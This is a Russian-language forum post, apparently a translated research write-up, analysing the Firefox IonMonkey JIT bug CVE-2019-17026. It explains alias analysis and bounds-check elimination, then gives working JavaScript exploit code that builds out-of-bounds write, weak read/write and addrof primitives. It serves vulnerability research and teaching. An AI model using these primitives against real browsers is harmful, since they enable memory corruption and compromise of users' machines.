• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Эксплуатация CVE-2019-17026 - Jit баг в Firefox

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Эксплуатация браузера - невероятно уникальная область исследования безопасности. Поскольку браузеры постоянно развиваются для поддержки новых носителей и протоколов, поверхность их атак постоянно меняется. Даже сами движки JavaScript продолжают улучшаться. После того, как Google проложил путь для JIT-компиляции и выполнения JavaScript с гораздо большей скоростью, другие современные браузеры начали добавлять эту технику, чтобы конкурировать. Это привело к тому, что эти механизмы содержат собственные оптимизирующие компиляторы, выполняющие сложный анализ кода, чтобы сократить его до необходимых инструкций, и делать веб-приложения быстрее, чем считалось ранее. Однако JIT-компиляцию сложно сделать правильно, особенно при работе с одним из самых динамичных языков, которые когда-либо существовали, и поэтому она стала одной из самых больших тенденций в исследованиях браузеров.

Еще в мае я написал еще одну запись в блоге об уязвимости Internet Explorer (CVE-2020-0674).
Первоначально она была обнаружен Qihoo 360 вместе со второй уязвимостью (CVE-2019-17026), нацеленной на JIT-движок Firefox Spidermonkey (IonMonkey). Это сообщение в блоге предназначено для анализа первопричины и обсуждения того, как злоумышленник может использовать этот класс уязвимости.

Основы IonMonkey

SpiderMonkey использует JIT-компилятор IonMonkey, который преобразует код JavaScript в скомпилированный код для более быстрой работы. Однако простого перехода в машинный код недостаточно для значительного повышения производительности. Оптимизация и определение типов используются для сокращения машинного кода до только основных инструкций, заставляя браузер действовать как оптимизирующий компилятор.

IonMonkey делает это, выполняя несколько шагов, как показано ниже:
- Генерация промежуточного представления среднего уровня (MIR)
-- Превращает исходный байт-код, используемый интерпретатором, в узлы промежуточного представления (IR), которые используются в графах потока управления (CFG).
-- Это делается, поскольку с байт-кодом легко работать интерпретатору, но нелегко работать с JIT-компилятором.

- Оптимизация
-- Несколько проходов оптимизации используются на сгенерированных узлах MIR для определения способов, которыми функция может быть уменьшена как по размеру, так и по времени выполнения.
-- Некоторые из часто упоминаемых этапов оптимизации - это анализ псевдонимов, глобальная нумерация значений, постоянное сворачивание, исключение недостижимого кода, удаление мертвого кода и исключение проверки границ.

- Понижение
-- Фаза опускания преобразует код MIR в низкоуровневое промежуточное представление (LIR). Хотя MIR не зависит от данной архитектуры, LIR делает это как важный шаг в подготовке к генерации оптимизированного кода.
-- На этом этапе также используются виртуальные регистры и используется распределение регистров для назначения регистров или мест стека.

- Генерация кода
-- Генерирует машинный код из LIR.
-- Связывает машинный код, назначая его исполняемой памяти вместе с набором предположений, для которых допустим JIT-код.

Обзор уязвимости

Mozilla перечислила уязвимость под названием IonMonkey путаница типов с StoreElementHole и FallibleStoreElement с описанием:
Неверная информация о псевдониме в JIT-компиляторе IonMonkey для настройки элементов массива может привести к путанице типа. Нам известно о целевых атаках, в которых используется эта уязвимость.

На момент написания отчет об ошибке рассекречен и содержит сокращенный POC, как показано ниже:

JavaScript:
let arr1 = [];
let arr2 = [1.1, 2.2, , 4.4];
arr2.__defineSetter__("-1", function(x) {
    delete arr1.x;
});
{
    function f(b, index) {
        let ai = {};
        let aT = {};
        arr1.x = ai;
        if (b)
            arr1.x = aT;
        arr2[index] = 1.1;
        arr1.x.x4 = 0;
    }
    delete arr1.x;
    for (let i = 0; i < 0x1000; i++) {
        arr2.length = 4;
        f((i & 1) === 1, 5);
    }
    f(true, -1);
}

Читая патч, он показывает, что два файла были изменены:

- AliasAnalysis.cpp
- MIR.h

Основное внимание уделяется изменениям кода MIR. И MStoreElementHole, и MFallibleStoreElement больше не переопределяют метод getAliasSet и не возвращают AliasSet::Store(AliasSet::ObjectFields | AliasSet::Element). Взглянув на метод getAliasSet по умолчанию в StoreDependency (родительский класс MStoreElementHole), вы увидите, что вместо этого он возвращает AliasSet::Store(AliasSet::Any);

Анализ псевдонимов

0vercl0k провел невероятно тщательный writeup, как работают два этапа оптимизации (анализ псевдонимов и глобальная нумерация значений), выступая в качестве недостающей документации, необходимой Mozilla. Таким образом, в этом посте я буду обсуждать точку зрения более высокого уровня, чтобы помочь читателям, которые не знакомы с теорией компиляторов и типами оптимизаций, которые происходят. Для получения дополнительной информации о том, как работают эти два этапа, настоятельно рекомендуется прочитать это сообщение в блоге, чтобы дополнить общее представление в этом сообщении.

Анализ псевдонимов - это процесс выявления зависимостей от инструкций загрузки и инструкций сохранения. Это можно использовать на более поздних этапах для удаления избыточного кода. Алгоритм анализа псевдонимов относительно тривиален и определяет зависимости, просматривая инструкции MIR:
- Если функция getAliasSet возвращает Store AliasSet (известный как AliasSet::Store), он сохраняется для последующего сравнения с инструкциями Load.
- Если функция getAliasSet возвращает Load AliasSet (известный как AliasSet::Load), используется алгоритм для поиска зависимости от любой из текущих найденных инструкций Store. Эта зависимость обнаруживается путем выполнения трех шагов:

1) Согласование загрузки/сохранения псевдонимов
--- Каждый узел определяет набор псевдонимов, которые соответствуют типу эффекта, который они имеют (путем переопределения метода getAliasSet)
--- На этапе анализа псевдонимов, когда инструкция возвращает AliasSet::Load, выполняется обход массива найденных в данный момент узлов AliasSet::Store для проверки любых перекрывающихся эффектов.
---- Например, AliasSet::Load (AliasSet::Element) пересекает AliasSet::Store (AliasSet::Element | AliasSet:: ObjectFields).

2) Соответствующие наборы типов операндов
--- Инструкции загрузки и сохранения имеют операнды.
--- Функция AliasAnalysis::GetObject используется, чтобы взять узел и найти корневой узел, с которым он работает
---- Например, узел InitializedLength получает инициализированную длину элементов массива. Первый операнд - это узел "Элементы". Первый операнд узла Elements - это узел объекта Constant Array. Поэтому GetObject вернет этот узел как корневой.
--- IonMonkey отслеживает потенциальный тип узлов. Эта информация хранится в TypeSets.
--- Если потенциальные типы объектов, с которыми работают обе инструкции, не перекрываются, то они не могут рассматриваться как псевдонимы. Например, если у нас есть объект A и объект B, их TypeSets (оба TYPE_FLAG_ANYOBJECT) пересекаются (в данном случае они точно такие же) и, таким образом, рассматриваются как потенциально зависимые.

3) Самый последние сравнение
--- Из списка инструкций Store, которые потенциально зависят (имеют перекрывающиеся наборы AliasSets и TypeSets с инструкцией Load), выберите самую последнюю. Затем создается зависимость для инструкции Load от этой инструкции Store.

Чтобы лучше проиллюстрировать это, рассмотрим следующий код JavaScript:

function jit(obj_1, obj_2) {
delete obj_1.x;
return obj_2.y;
}

Эта функция разбита на несколько инструкций MIR:


JavaScript LineMIR Node IDMIR InstructionStore/Load/Any/NoneAliasesDependencies
jit(obj_1, obj_2)1MParameter 0AliasSet::Any--
jit(obj_1, obj_2)2MParameter 1AliasSet::Any--
-3MStartAliasSet::Any--
-4MCheckOverrecursedAliasSet::None--
return obj_2.y5MUnbox parameter 2AliasSet::None--
delete obj_1.x6MDeleteProperty parameter1:ValueAliasSet::Any--
return obj_2.y7MLoadFixedSlot unbox5AliasSet::LoadAliasSet::FixedSlotdeleteproperty6
return obj_2.y8MBox loadfixedslot7AliasSet::None--
return obj_2.y9MReturn box8:ValueAliasSet::None--

После завершения анализа псевдонимов между loadfixedslot7 и deleteproperty6 была создана только одна зависимость. Это связано с тем, что существовала только одна инструкция AliasSet::Load, а самым последним узлом, удовлетворяющим всем трем предыдущим условиям, является узел deleteproperty6.

Глобальная нумерация значений

Хотя на этапе анализа псевдонима возникает уязвимость, именно этап глобальной нумерации значений делает эту ошибку уязвимой. Рассмотрим следующий код:

function f(o) {
o.x.a = 23;
o.x.a = 24;
}

Инструкции MIR будут следующими:

- Узлы параметров
0 parameter THIS_SLOT
1 parameter 0
2 constant undefined
3 constant undefined
4 start

- Убедитесь, что мы не достигли предела рекурсии стека
5 checkoverrecursed
6 constant undefined

- Возьмите результат операции 1 (параметр o) и получите свойство x как объект
7 unbox parameter1 to Object (infallible)

- Проверьте, не слишком ли горячая функция и ее нужно перекомпилировать
8 recompilecheck

- Загрузить свойство 'a' из результата операции 7 (распакованный объект, на который указывает свойство x)
9 loadfixedslot unbox7:Object

- Удерживайте константу '23'
10 constant 23

- Сохраните константу из операции 10 (номер 23) в слоте, полученном в операции 9 (свойство 'a')
11 storefixedslot loadfixedslot9:Object constant10:Int32

- Снова загрузить свойство 'a' из результата операции 7 (распакованный объект, на который указывает свойство x)
12 loadfixedslot unbox7:Object

- Удерживайте константу '24'
13 constant 24

- Сохраните константу из операции 13 (номер 24) в слоте, полученном в операции 12 (свойство 'a')
14 storefixedslot loadfixedslot12:Object constant13:Int32

- Поместите возвращаемое значение (не определено, поскольку функция не возвращает значение)
15 box constant3:Undefined

- Вернуть значение из операции 15
16 return box15:Value

Как видно из вышеприведенных узлов, свойство 'a' выбирается дважды (операции 9 и 12), что кажется избыточным. В этом цель GVN; для выявления и устранения определенных избыточностей. Чтобы пройти через это, вот к чему сводится MIR после прохождения GVN:

- Узлы параметров
0 parameter THIS_SLOT
1 parameter 0
2 constant undefined
4 start

- Убедитесь, что мы не достигли предела рекурсии стека
5 checkoverrecursed

- Возьмите результат операции 1 (параметр o) и получите свойство x как объект
7 unbox parameter1 to Object (infallible)

- Проверьте, не слишком ли горячая функция и ее нужно перекомпилировать
8 recompilecheck

- Загрузить свойство 'a' из результата операции 7 (распакованный объект, на который указывает свойство x)
9 loadfixedslot unbox7:Object

- Удерживайте константу '23'
10 constant 23

- Сохраните константу из операции 10 (номер 23) в слоте, полученном в операции 9 (свойство 'a')
11 storefixedslot loadfixedslot9:Object constant10:Int32

- Удерживайте константу '24'
13 constant 24

- Сохраните константу из операции 13 (номер 24) в слоте, полученном в операции 12 (свойство 'a')
14 storefixedslot loadfixedslot9:Object constant13:Int32

-- Box the return value (не определено, поскольку функция не возвращает значение)
15 box constant3:Undefined

- Вернуть значение из операции 15
16 return box15:Value

Ключевым моментом здесь является то, что операция 12 (второй loadfixedslot) была удалена.

GVN работает, позволяя каждому узлу MIR отменять две функции:

- congruentTo
-- Эта функция проверяет, являются ли два узла похожими выражениями. Если да, то второй узел удаляется, а ссылки на него заменяются первым, чтобы исключить избыточную инструкцию.
- foldsTo
-- Эта функция определяет общие выражения в узле и позволяет их сворачивать. Обычным примером этого является узел MNot, который, конечно, выполняет операцию not. Если параметр для этой операции также является узлом MNot, то оба узла могут быть заменены значением, с которым они работают (операндом внутреннего Mnot).

Для того, чтобы два узла были соответсвующими, оба узла должны возвращать одно и то же значение из своих соответствующих функций congruentTo при передаче другому узлу. Однако соответствие проверяется только в том случае, если оба узла зависят от одного и того же узла (результат этапа анализа псевдонимов). Что касается предыдущего примера, оба узла loadfixedslot зависели от start4.

Вам также может быть интересно, почему был удален второй loadfixedslot, но не второй storefixedslot, учитывая, что два storefixedslot в одном индексе могут показаться избыточными. Ответ на это кроется в функции congruentTo для MstoreFixedSlot. Этот узел не отменяет функцию congruentTo по умолчанию и поэтому вместо нее использует MDefinition::congruentTo, который просто возвращает false.

Более интересный и актуальный пример - как обрабатываются элементы массива.

JavaScript:
a = [1, 2];

function store(index, val) {
    a[index] = val;
    a[index] = val;
}

Приведенный выше код дает следующий код MIR:

- Узлы параметров
0 parameter THIS_SLOT
1 parameter 0
2 parameter 1
3 constant undefined
4 constant undefined
5 start

- Убедитесь, что мы не достигли предела рекурсии стека
6 checkoverrecursed

- Убедитесь, что параметры являются целыми числами
7 constant undefined
8 unbox parameter1 to Int32 (infallible)
9 unbox parameter2 to Int32 (infallible)

- Проверьте, не слишком ли горячая функция и ее нужно перекомпилировать
10 recompilecheck

- Сделайте массив ссылочным узлом
11 constant object (Array)

- Запускает ECMA ToNumber для значения, чтобы получить целое число из unbox8 (избыточно, поскольку мы уже знаем, что это int32 - это будет удалено из-за congruentTo)
12 tonumberint32 unbox8:Int32

- Получить элементы массива
13 elements constant11:Object

- Получить член initializedLength структуры elements из операции 13
14 initializedlength elements13:Elements

- Проверить, находится ли число int32 из операции 12 в границах int из операции 14
15 boundscheck tonumberint3212:Int32 initializedlength14:Int32
16 spectremaskindex boundscheck15:Int32 initializedlength14:Int32

- Сохраните значение параметра 2 (unbox9) в смещении из операции 16 в массиве elements из операции 13
17 storeelement elements13:Elements spectremaskindex16:Int32 unbox9:Int32

- Сделайте массив снова ссылочным узлом
18 constant object (Array)

- Запускает ECMA ToNumber для значения, чтобы снова получить целое число из unbox8
19 tonumberint32 unbox8:Int32

- Получить элементы массива
20 elements constant18:Object

- Получить член initializedLength структуры elements из операции 20
21 initializedlength elements20:Elements

- Проверить, находится ли число int32 из операции 19 в границах int из операции 21
22 boundscheck tonumberint3219:Int32 initializedlength21:Int32
23 spectremaskindex boundscheck22:Int32 initializedlength21:Int32

- Сохранить значение из параметра 2 (unbox9) в смещение из операции 23 в массиве elements из операции 20
24 storeelement elements20:Elements spectremaskindex23:Int32 unbox9:Int32

-- Box the value 'undefined'
25 box constant4:Undefined

- Вернуть значение из операции 25
26 return box25:Value

После того, как процесс GVN происходит, остаются следующие узлы:

- Узлы параметров
0 parameter THIS_SLOT
1 parameter 0
2 parameter 1
3 constant undefined
5 start

- Убедитесь, что мы не достигли предела рекурсии стека
6 checkoverrecursed

- Убедитесь, что параметры являются целыми числами
8 unbox parameter1 to Int32 (infallible)
9 unbox parameter2 to Int32 (infallible)

- Проверьте, не слишком ли горячая функция и ее нужно перекомпилировать
10 recompilecheck

- Сделайте массив ссылочным узлом
11 constant object (Array)

- Получить элементы массива
13 elements constant11:Object

- Получить член initializedLength структуры elements из операции 13
14 initializedlength elements13:Elements

- Проверить, находится ли число int32 из операции 8 в границах int из операции 14
15 boundscheck unbox8:Int32 initializedlength14:Int32
16 spectremaskindex boundscheck15:Int32 initializedlength14:Int32

- Сохраните значение параметра 2 (unbox9) в смещении из операции 16 в массиве elements из операции 13
17 storeelement elements13:Elements spectremaskindex16:Int32 unbox9:Int32

- Сохраните значение параметра 2 (unbox9) в смещении из операции 16 в массиве elements из операции 13
24 storeelement elements13:Elements spectremaskindex16:Int32 unbox9:Int32

-- Box the value 'undefined'
25 box constant3:Undefined

- Вернуть упакованное значение из операции 25
26 return box25:Value

Многие узлы были удалены во время фазы GVN, однако есть один, который особенно интересен: MBoundsCheck, узел, отвечающий за обеспечение того, чтобы индекс находился в границах данного массива. Поскольку оба узла MBoundsCheck зависели от start5, их функции congruentTo были запущены. Это проверяет, относятся ли оба узла к типу MBoundsCheck, проверяют ли оба одинаковые минимальное и максимальное значения, и что либо оба имеют ошибки, либо оба являются безошибочными инструкциями. Это гарантирует, что оба узла MBoundsCheck одинаковы и, следовательно, второй является избыточным и может быть удален; процесс, известный как исключение проверки границ.

Здесь важно отметить, что обе проверки границ могут выполняться только congruentTo, если они зависят от одного и того же узла. В этом случае это означает, что первый узел MStoreElement воспринимается JIT-компилятором как не имеющий побочных эффектов. Если бы можно было вызвать побочные эффекты с этим узлом, а MCheckBounds по-прежнему был бы исключен, тогда побочный эффект можно было бы использовать для уменьшения размера массива, что могло бы привести к доступу за пределы, когда хранилище имеет место. В этом суть использования этой уязвимости. Фактически, устранение проверки границ стало настолько широко использоваться в JIT-эксплуатации, что разработчики V8 решили удалить исключение полностью, чтобы защитить движок от злонамеренного использования.

Пересмотр PoCа

Итак, давайте еще раз взглянем на проверочный код, но на этот раз обозначим, что происходит:

JavaScript:
let arr1 = []; // Create a victim array to be manipulated
let arr2 = [1.1, 2.2, , 4.4]; // Create the array that will cause the side effects
arr2.__defineSetter__("-1", function(x) { // Set the side-effect for the index -1
    delete arr1.x; // Delete the property x of the victim array
});
{
    function f(b, index) {
        let ai = {}; // Create one object
        let aT = {}; // Create a second object
        arr1.x = ai; // Assign property x in the victim array to the first object
        if (b) // Every other run...
            arr1.x = aT; // Assign property x in the victim array to the second object - This is likely done to prevent object assignments being inlined and allow property x to be cached
        arr2[index] = 1.1; // Perform side-effect execution using MStoreElementHole
        arr1.x.x4 = 0; // Dereference the object from the inline cache, which now doesn't exist, causing a crash
    }
    delete arr1.x; // Start by deleting property x in the victim array - This should change the shape of arr1 to one with a property x
    for (let i = 0; i < 0x1000; i++) { // JIT the function
        arr2.length = 4; // Reset the array length to 4 so that arr2[index] is still writing to a hole
        f((i & 1) === 1, 5); // Call the function that will be JIT'd, but alternating the first arguments between true and false
    }
    f(true, -1); // Finally, run the function with the first parameter as true, and the second as a number that will trigger the side effects. Since the type of index is expected to be an int32, -1 still works
}

В этом POC есть несколько интересных аспектов.

Во-первых, это использование инициализации разреженного массива arr2. При инициализации как плотный массив вместо этого проверка границ не удаляется, поскольку она обрабатывается как зависимая от узла MstoreElementHole. Это сводится к тому, как обрабатывается глобальный массив, когда он инициализируется как плотный и когда инициализируется как разреженный.
Возьмем, например, следующий код:

JavaScript:
first = [1, 2, 3];
second = [1, 2, 3];

function jit(oob_index, ib_index) {
    second[ib_index] = 1
    first[oob_index] = 1;
    second[ib_ndex] = 2
}

Уменьшенный код MIR (до прохождения GVN) выглядит следующим образом:

-- second[ib_index] = 1
11 constant object (Array)
12 constant 0x1
13 tonumberint32 unbox9:Int32
14 elements constant11:Object
15 initializedlength elements14:Elements
16 boundscheck tonumberint3213:Int32 initializedlength15:Int32
17 spectremaskindex boundscheck16:Int32 initializedlength15:Int32
18 storeelement elements14:Elements spectremaskindex17:Int32 constant12:Int32

-- first[oob_index] = 1
19 constant object (Array)
20 constant 0x1
21 tonumberint32 unbox8:Int32
22 elements constant19:Object
23 storeelementhole constant19:Object elements22:Elements tonumberint3221:Int32 constant20:Int32

-- second[ib_index] = 2
24 constant object (Array)
25 constant 0x2
26 tonumberint32 unbox9:Int32
27 elements constant24:Object
28 initializedlength elements27:Elements
29 boundschecktonumberint3226:Int32 initializedlength28:Int32
30 spectremaskindex boundscheck29:Int32 initializedlength28:Int32
31 storeelement elements27:Elements spectremaskindex30:Int32 constant25Int32

После прохождения GVN проверка границ в инструкции 29 не отменяется. Это связано с тем, что узел MInitializedLength на 28 теперь зависит от узла MStoreElementHole в инструкции 23.

Однако сначала измените переменную, чтобы она была инициализирована как разреженная с [1,, 3], и будет сгенерирован следующий сокращенный MIR:

-- second[ib_index] = 1
11 constant object (Array)
12 constant 0x1
13 tonumberint32 unbox9:Int32
14 elements constant11:Object
15 initializedlength elements14:Elements
16 boundscheck tonumberint3213:Int32 initializedlength15:Int32
17 spectremaskindex boundscheck16:Int32 initializedlength15:Int32
18 storeelement elements14:Elements spectremaskindex17:Int32 constant12:Int32

-- first[oob_index] = 1
19 constant object (global)
20 slots constant19:Object
21 loadslot slots20:Slots457
22 constant 0x1
23 tonumberint32 unbox8:Int32
24 elements loadslot21:Object
25 storeelementhole loadslot21:Object elements24:Elements tonumberint3223:Int32 constant22:Int22

-- second[ib_index] = 2
26 constant object (Array)
27 constant 0x2
28 tonumberint32 unbox9:Int32
29 elements constant26:Object
30 initializedlength elements29:Elements
31 boundscheck tonumberint3228:Int32 initializedlength30:Int32
32 spectremaskindex boundscheck32:Int32 initializedlength30:Int32
33 storeelement elements29:Elements spectremaskindex32:Int32 constant27:Int32

После появления GVN третий MBoundsCheck вместо этого удаляется.

Как оказалось, глобальный массив, который создается как разреженный массив, либо с буквальным синтаксисом, либо через новый массив (размер), вместо этого выбирается из слотов глобального объекта, а не используется непосредственно как константа. Это оказывает влияние на третий узел MBoundsCheck, поскольку корневой объект, с которым работает MStoreElement, отображается как MLoadSlot, а корневой объект MInitializedLength (используемый MBoundsCheck) является узлом MConstant (Array). Поскольку MLoadSlot и MConstant не пересекают TypeSets, их нельзя рассматривать как сглаживание. В результате третий узел MBoundsCheck становится зависимым от MStart, как и первый MBoundsCheck, и поэтому удаляется.

Второй интересный аспект - это использование индекса -1 вместо какого-либо другого большого целого числа. Причина этого в том, что узел MIR, который используется для установки элемента, когда в массиве есть средство получения или установки для допустимого индекса массива, больше не является узлом MStoreElementHole, а является узлом MSetPropertyCache, в результате чего уязвимость не существует. Использование значения -1 вместо этого добавляет установщик для отдельного свойства, а не для элементов, что означает, что MStoreElementHole все еще будет существовать в графе. Это также имеет дополнительное преимущество в том, что он находится в диапазоне Int32, что позволяет ему проходить различные условия JIT и достигать MstoreElementHole. Поскольку -1 на самом деле обрабатывается MStoreElementHole как имя свойства, а не индекс элемента, побочные эффекты могут фактически запускаться из этого узла, что приводит к уязвимости JIT.

Примитивы эксплоита

Большинство уязвимостей Firefox, как правило, получают примитив чтения/записи из ArrayBuffer, манипулируя указателем буфера данных, и предыдущие эксплойты для этих видов ошибок полагались на многократные попытки распыления объектов, чтобы увеличить вероятность того, что один из них будет записан. Поскольку изучение различных вариантов является сутью исследования безопасности, я хотел попробовать другой подход к эксплуатации этой уязвимости, а именно: манипулирование обычным массивом для создания надежных примитивов без необходимости распыления.

Для v8 управлять обычным массивом довольно просто, поскольку массивы хранятся по-разному в зависимости от их элементов. Массив, содержащий только двойные значения, будет хранить только двойные значения в элементах массива, а массив, содержащий только целые числа, будет хранить каждый элемент как 4-байтовое целое число (таким образом, сохраняя 4 байта на элемент). Если массив содержит объект, он становится массивом смешанного типа, что означает, что каждое значение помечено, чтобы позволить дублям, указателям и целым числам быть представлены встроенными (вместо, например, хранения дубля как указателя на двойной объект и, таким образом, весь массив элементов содержит только указатели). Из-за этого мы могли бы использовать смешение типов между типами хранения массивов, чтобы читать указатель как двойное значение, или рассматривать двойное значение как указатель, что приводило бы к тривиальным способам создания примитивов. Однако SpiderMonkey не разделяет массивы по типам, которые они хранят. Вместо этого каждый элемент автоматически помечается (помечается NaN-boxed). Это означает, что примитивы addrof и чтения/записи должны быть сконструированы по-другому, чтобы учесть это.

Обзор массива

Начнем с основ работы с массивами. Когда массив создается, он выглядит так в памяти:

1.png

Массив представлен JSObject, как и другие объекты. JSObject содержит три свойства, которые будут иметь отношение к построению примитивов:
- Указатель формы - указывает на форму объекта. Фигура определяет имена свойств и их индекс в массиве слотов.
- Указатель слотов - это массив значений свойств, которые сопоставляются с именами свойств через форму.
- Указатель элементов - указатель на массив значений в элементах. Важно отметить, что, хотя он указывает на первый элемент, структура элемента фактически содержит 16 байт метаданных непосредственно перед:
-- Флаги - описывают особые условия для массива, такие как выполнение копирования при записи, если массив является общим, или сохранение целых чисел как двойных.
-- Инициализированная длина - сколько элементов было инициализировано. Например, новый массив (50) будет иметь инициализированную длину 0, поскольку не требуется выделять и сохранять значения. Если бы элемент был помещен в индекс 39, тогда в массиве было бы выделено пространство для 40 значений, а значения с индексами 0–38 были бы помечены как неопределенные.
-- Емкость - это объем пространства, выделенного для хранения.
-- Длина - свойство длины. Если массив создается с помощью new Array (100), длина будет содержать значение 100, даже если инициализированная длина и емкость равны 0. Это значение позволяет механизму отслеживать, находится ли индекс массива в пределах диапазона, в котором может храниться значение, при этом позволяя использовать только необходимый объем памяти.

Когда мы устанавливаем меньшую длину массива, указатель элементов остается прежним (другими словами, он не перераспределяется).

2.png


Однако выделение дополнительных объектов не приведет к их расположению в конце уменьшенного массива, а вместо этого в конце всего исходного массива элементов. Это связано с тем, что емкость массива остается прежней и, таким образом, все еще доступна для использования массивом.

И наоборот, расширение массива элементов сверх того, что было изначально выделено, приведет к расширению всего массива элементов:

3.png

Выход за границы

Как обсуждалось ранее, побочный эффект установщика свойств в сочетании с устранением проверки границ при доступе к массиву разрешает доступ за пределы. Однако на приведенной выше диаграмме было показано, что установка меньшего числа для длины массива все равно будет означать, что емкость массива останется прежней. Следовательно, доступ за пределы будет по-прежнему находиться в границах всего выделенного диапазона массива элементов и, таким образом, не позволит записи в любое значимое место.

Чтобы обойти эту проблему, во время выполнения функции побочного эффекта используется сборщик мусора, чтобы вызвать перераспределение.

Если бы были выделены два массива одинакового размера, скорее всего, они были бы размещены рядом друг с другом в одном и том же дочернем блоке:

4.png


Как только длина обоих будет уменьшена, в памяти это будет выглядеть так:

5.png

Если бы сборщик мусора запускался во время выполнения функции побочного эффекта, эти два массива снова были бы перераспределены:

6.png

Когда запускается доступ за пределами границы, доступ к местоположению теперь находится в диапазоне этого второго массива:

7.png


Отсюда можно манипулировать любыми указателями в JSObject, чтобы указывать на произвольные области. Однако, поскольку это редактирование происходит во время функции побочного эффекта, оно недостаточно стабильно для дальнейшего использования. Поэтому выбран альтернативный путь. Вместо того, чтобы использовать первый массив для воздействия на указатели JSObject, имеет больше смысла управлять емкостью, длиной и инициализированной длиной этого второго массива, что позволяет стабильно и повторяемо читать и записывать за пределами границ во все, что следует за второй массив. Чтобы второй массив имел полезную информацию после него, третий массив используется так же, как и два других (сбрасывая их длину во время функции побочного эффекта). Этот третий массив теперь можно свободно изменять, записывая в него дубли из второго массива.

8.png


Эксплуатация этого в JavaScript будет следующим:


JavaScript:
oob_arr = [1.1, 1.2, , 1.4];          // This is used to trigger the side effect. It's not in the above diagram
victim = new Array(0x20);        // This array will have its length set to zero so it can write over the capacity/length values of setter_arr
setter_arr = new Array(0x20);  // This array will be used to read and set pointers reliably and repeatably in rw_arr
rw_arr = new Array(0x20);        // Used for arbitrary reads and writes

// Side effects
oob_arr.__defineSetter__("-1", function(x) {
    console.log("[+] Side Effects reached");
    victim.length = 0;
    setter_arr.length = 0;
    rw_arr.length = 0;
    gc();
});

// Call the GC - Phoenhex's function
function gc() {
    const maxMallocBytes=128*1024*1024; // 128m
    for (var i =0; i <3; i++) {
        var x = new ArrayBuffer(maxMallocBytes); // Allocate locally, but don't save
    }
}

// Exploit
function jitme(index, in2, in3) {
    // Removes future bounds checks with GVN
    victim[in2] = 4.2;
    victim[in2 - 1] = 4.2;

    // Triggers the side-effect function
    oob_arr[index] = 2.2;

    // Write out-of-bounds
    victim[in2] = in3; // capacity and length
    victim[in2 - 1] = 2.673714696616e-312; // initLength and flags
}

// JIT the exploit
for(i=0;i<0x10000;i++) {
    oob_arr.length = 4; // Reset the length so that the StoreElementHole node is used
    jitme(5, 11, 2.67371469724e-312);
}

oob_arr.length = 4; // Reset the length one more time
jitme(-1, 11, 2.67371469724e-312); // Call the jitted function with the side-effect index (-1)

После выполнения этого указателя слотов третьего массива (rw_arr) можно получить доступ с помощью setter_arr [8] и указателя элементов в setter_arr [9].

Weak Read/Write

На этом этапе можно создать слабый примитив чтения/записи, используя указатель слотов rw_arr. Если бы rw_arr имел единственное свойство, указанное в его форме, то установка указателя слотов на произвольные адреса позволила бы им считываться как двойные, обращаясь к этому свойству, и записывать, перезаписывая его двойным значением.

Например, после запуска rw_arr.x = 0 компоновка объекта будет выглядеть так:

9.png



Как только это будет сделано, указатель свойства может быть изменен, в результате чего свойство x будет использоваться для чтения и записи по произвольным адресам:
10.png



Это написано на JavaScript следующим образом:


JavaScript:
// Create properties that we can use for weak reads
rw_arr.x = 1.1;

// Can only handle normal pointers, not tagged pointers
//    1. Backup property pointer
//    2. Set property pointer to target address
//    3. Read value at address with property x
//    4. Restore the original property pointer
function weak_read(dbl_addr) {
    original = setter_arr[8];
    setter_arr[8] = dbl_addr; // properties pointer - change the pointer of x
    result = rw_arr.x;
    setter_arr[8] = original;
    return result;
}

// Can only handle normal pointers, not tagged pointers
//    1. Backup property pointer
//    2. Set property pointer to target address
//    3. Set value at address with property x
//    4. Restore the original property pointer
function weak_write(dbl_addr, dbl_val) {
    original = setter_arr[8];
    setter_arr[8] = dbl_addr;
    rw_arr.x = dbl_val;
    setter_arr[8] = original;

Однако это считается слабым примитивом, так как его можно использовать только для чтения немаркированных указателей, например, в JSObject. Если бы значение по адресу содержало правильные значения в наиболее значимых битах, то его можно было бы рассматривать как указатель на объект, а не как двойное значение, что привело бы к сбою программы при разыменовании объекта. Точно так же примитив записи не может легко записывать значения с тегами, поскольку они не могут быть выражены как двойные.

Даже в этом случае эти слабые примитивы на самом деле могут быть невероятно мощными.

Слабый Addrof

Одним из основных примитивов, которые могут быть созданы в эксплойтах JS, является примитив addrof, который, как следует из названия, получает адрес объекта. Прежде чем можно будет построить примитив строгого чтения, этот примитив необходим. К сожалению, поскольку примитив слабого чтения не может читать помеченные значения, чтение адреса целевого объекта из свойства не так просто. Эту проблему можно обойти с помощью трех свойств.

Если бы rw_arr имел три свойства (x, y и z), массив слотов выглядел бы следующим образом:

11.png


Если бы свойство y было назначено целевому объекту для вызова addrof, это выглядело бы так (отображалось так, как оно находится в памяти, без учета порядка байтов с прямым порядком байтов):

12.png



Теперь при перемещении указателя слота на 4 байта свойства изменяются:

13.png



В этот момент наиболее значимые биты адреса объекта (который также включает тег) могут быть прочитаны как двойное значение (поскольку новый тег равен нулю и, следовательно, находится в допустимом диапазоне двойного значения).

Обратите внимание, что тег для свойства x также находится в диапазоне двойного значения и, таким образом, может быть прочитан как двойной, а младшие значащие биты могут быть взяты с помощью ArrayBuffer для преобразования его между представлениями. Полный код этого примитива довольно прост:


JavaScript:
// Create properties that we can use for weak reads
rw_arr.x = 5.40900888e-315; // Most significant bits are 0 - no tag, allows an offset of 4 to be treated as a double
rw_arr.y = 0x41414141;
rw_arr.z = 0; // Least significant bits are 0 - offset of 4 means that y will be treated as a double

// Erases the tag and reads the address as a double
//    1. Backup property pointer
//    2. Sets property y to the object
//    3. Calculate new property offset
//    4. Read lower bits as double
//    5. Read upper bits as double
//    6. Remove the tag
//    7. Restore the original property pointer
function weak_addrof(o) {
    // 1
    original = setter_arr[8];

    // 2
    rw_arr.y = o;

    // 3
    dbl[0] = setter_arr[8];
    num[0] = num[0] + 4;
    setter_arr[8] = dbl[0];

    // 4
    dbl[0] = rw_arr.x;
    lower = num[1];

    // 5
    dbl[0] = rw_arr.y; // Works in release, not in debug (assertion issues)

    // 6
    upper = num[0] & 0x00007fff;

    // 7
    setter_arr[8] = original;

    // Convert to a float and return
    num[0] = lower;
    num[1] = upper;
    return dbl[0];
}

